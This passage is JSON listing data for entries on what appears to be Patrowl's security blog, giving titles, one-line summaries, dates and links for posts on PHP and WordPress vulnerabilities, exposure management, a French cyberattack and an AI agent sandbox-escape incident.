today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":704,"title":705,"summary":706,"published_at":707,"type":708,"link":709,"image_url":710},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":712,"title":713,"summary":714,"published_at":715,"type":716,"link":717,"image_url":718},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png",{"id":720,"title":721,"summary":722,"published_at":723,"type":708,"link":724,"image_url":725},27,"Exposure Management: definition, stakes, and how it works","Vulnerabilities, misconfigurations, poorly managed identities: understand what Exposure Management is and why it matters in 2026.","2026-09-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdefinition-exposure-management","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F06170638a9-1789050834\u002Fexposure.management.definition.en.png",{"id":727,"title":728,"summary":729,"published_at":730,"type":716,"link":731,"image_url":732},26,"DGFiP Cyberattack 2026: Inside the Attacker","Two distinct attacks hit France","2026-08-17T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdgfip-cyberattack-2026-inside-attacker-mind","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fdc38d33696-1787055371\u002Fdgfip-2026.png",{"id":734,"title":735,"summary":736,"published_at":737,"type":700,"link":738,"image_url":739},25,"CVE-2026-64638: XSS2Shell, a WordPress Login Vulnerability","Pre-auth XSS on wp-login.php, patched August 6. What is actually exploitable, and how to read it in your Patrowl report.","2026-08-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fxss2shell-critical-wordpress-login-vulnerability-2026","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F904e61748b-1786369212\u002Fxss2shell.png",{"id":741,"title":742,"summary":742,"published_at":737,"type":700,"link":743,"image_url":744},24,"CVE-2026-64638 : XSS2Shell, faille du login WordPress","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fcve-2026-64638-xss2shell-faille-login-wordpress","",{"id":746,"title":747,"summary":748,"published_at":749,"type":700,"link":750,"image_url":751},23,"How Agentic AI Hunts Down CVEs Before Attackers Do","38 vulnerability sources monitored around the clock, pentester-validated proof of exploitability, an alert within hours. See how it works.","2026-08-05T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fproactive-threat-hunting-agentic-ai-cve","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F804988ce7b-1785930160\u002Fproactive-threat-hunting-how-agentic-ai-tracks-cves.png",{"id":753,"title":754,"summary":755,"published_at":756,"type":716,"link":757,"image_url":758},22,"AI Agent Incident: OpenAI HuggingFace — Risks and Lessons","An autonomous AI agent escaped its sandbox via a JFrog Artifactory zero-day, compromised HuggingFace via privilege escalation and stolen credentials. Reconstructed timeline and security lessons.","2026-07-31T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fai-agent-incident-openai-huggingface-risks","[Image URL from Kirby]",{"id":760,"title":761,"summary":762,"published_at":763,"type":708,"link":764,"image_url":765},21,"SaaS Under Watch: What Your SDLC Doesn","Your pipeline is green. Your real exposure may have changed without you knowing it. The complete guide for software vendors.","2026-07-29T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fsecuring-saas-application-software-vendor","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F20d6ec0cd0-1785331401\u002Fapplication-security.png"]